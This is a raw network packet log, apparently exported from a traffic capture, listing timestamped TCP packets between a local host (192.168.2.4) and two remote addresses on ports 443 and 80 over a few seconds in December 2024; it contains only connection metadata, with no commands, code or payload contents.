Dec 19, 2024 07:57:10.810586929 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.810895920 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.810904980 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.820849895 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.820945024 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.820961952 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.830888987 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.831124067 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.831135988 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.873142958 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.922095060 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.974495888 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.974531889 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.994340897 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:10.994484901 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:10.994508028 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.004642963 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.004760027 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.004779100 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.014899015 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.018929005 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.018949986 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.026206017 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.026866913 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.026882887 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.042556047 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.042903900 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.042924881 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.054881096 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.058875084 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.058890104 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.066881895 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.068607092 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.068623066 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.078896999 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.082943916 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.082958937 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.086895943 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.086961985 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.086971045 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.097811937 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.097889900 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.097902060 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.110863924 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.110955000 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.110969067 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.122864008 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.122978926 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.122993946 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.177458048 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.186592102 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.188977003 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.189043045 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.189054966 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.195389032 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.195415974 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.195447922 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.195456028 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.195521116 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.208412886 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.241473913 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.241503954 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.241594076 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.241619110 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.241686106 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.259345055 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.260905027 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.261009932 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.261023045 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.263778925 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.263809919 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.263848066 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.263856888 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.263921022 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.267416000 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.277328968 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.277439117 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.277443886 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.277457952 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.277539015 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.296051025 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.300321102 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.300352097 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.300412893 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.300426960 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.300478935 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.312021971 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.327789068 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.327883005 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.327896118 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.327919960 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.327995062 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.329464912 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.337702036 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.337769032 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.337781906 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.344242096 CET	49745	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:11.344489098 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:11.346445084 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.346529007 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.346534967 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.346581936 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.346626997 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.357662916 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.369589090 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.369682074 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.369710922 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.369739056 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.369788885 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.378972054 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.380826950 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.380889893 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.380899906 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.384119987 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.384188890 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.384197950 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.389518023 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.389589071 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.389595985 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.394978046 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.395037889 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.395045042 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.400396109 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.400451899 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.400460958 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.405677080 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.405735016 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.405742884 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.415267944 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.415335894 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.415343046 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.433434010 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.433497906 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.433506012 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.433514118 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.433557987 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.434618950 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.437267065 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.437328100 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.437333107 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.451210022 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.451297045 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.451311111 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.452555895 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.452615976 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.452624083 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.452918053 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.452953100 CET	443	49750	172.217.19.228	192.168.2.4
Dec 19, 2024 07:57:11.453022003 CET	49750	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:11.463728905 CET	80	49745	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:11.463918924 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:11.464042902 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:11.464353085 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:11.583796024 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:13.905121088 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:13.906805038 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:14.177551031 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:14.177634001 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:14.197623968 CET	49752	443	192.168.2.4	172.217.19.228
Dec 19, 2024 07:57:14.297070980 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:14.297095060 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:14.297184944 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:15.122421026 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:15.122589111 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:15.166032076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:15.285603046 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:16.097419977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:16.097487926 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:17.119909048 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:17.239613056 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.058824062 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.059016943 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.309900999 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.429692984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.746927977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.746953011 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.747133970 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.747143030 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.747159958 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.747240067 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.747282028 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.747294903 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.747407913 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.755513906 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.755584002 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.755616903 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.755871058 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.761934042 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.762032986 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.762130976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.770216942 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.770308018 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.770350933 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.771353960 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.778558969 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.778635979 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.872473001 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.872498035 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.872597933 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.939790010 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.939805984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.939861059 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.942821026 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.942924023 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.944293022 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.944339037 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.944366932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.944937944 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.949103117 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.949230909 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.949328899 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.957294941 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.957349062 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.957382917 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.957595110 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.965473890 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.965536118 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.965601921 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.965640068 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.973603010 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.973670006 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.973723888 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.973973036 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.981729031 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.981785059 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.981803894 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.981836081 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.989881039 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.990010977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.990056992 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.998018026 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.998059988 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:18.998120070 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:18.998826981 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.006350994 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.006371975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.006417990 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.006439924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.014355898 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.014411926 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.014499903 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.014549017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.022444010 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.022551060 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.064496040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.064555883 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.064564943 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.064860106 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.068814039 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.068905115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.130686998 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.130780935 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.130820990 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.130857944 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.134110928 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.134208918 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.134284019 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.141041040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.141252041 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.143553972 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.143636942 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.143691063 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.150551081 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.150629044 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.150651932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.150690079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.154913902 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.154968977 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.154999971 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.155031919 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.159116030 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.159190893 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.159204960 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.159480095 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.163456917 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.163511038 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.163662910 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.163712025 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.167764902 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.167817116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.167864084 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.172096014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.172154903 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.172168970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.172204018 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.176595926 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.176665068 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.176676035 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.176712990 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.180874109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.180896044 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.180955887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.180955887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.185039043 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.185180902 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.185225010 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.185910940 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.189378023 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.189429998 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.189455986 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.189491987 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.193783045 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.193881035 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.193933964 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.197527885 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.197637081 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.197705984 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.201308012 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.201415062 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.201483011 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.205107927 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.205194950 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.205285072 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.208914995 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.209018946 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.209076881 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.212968111 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.213498116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.213557959 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.217541933 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.217607975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.217659950 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.220264912 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.220458984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.220515013 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.224066973 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.226852894 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.260876894 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.260900974 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.260976076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.261004925 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.262706995 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.262770891 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.263390064 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.263492107 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.263645887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.267321110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.270163059 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:19.322556019 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:19.322679043 CET	80	49759	185.215.113.206	192.168.2.4
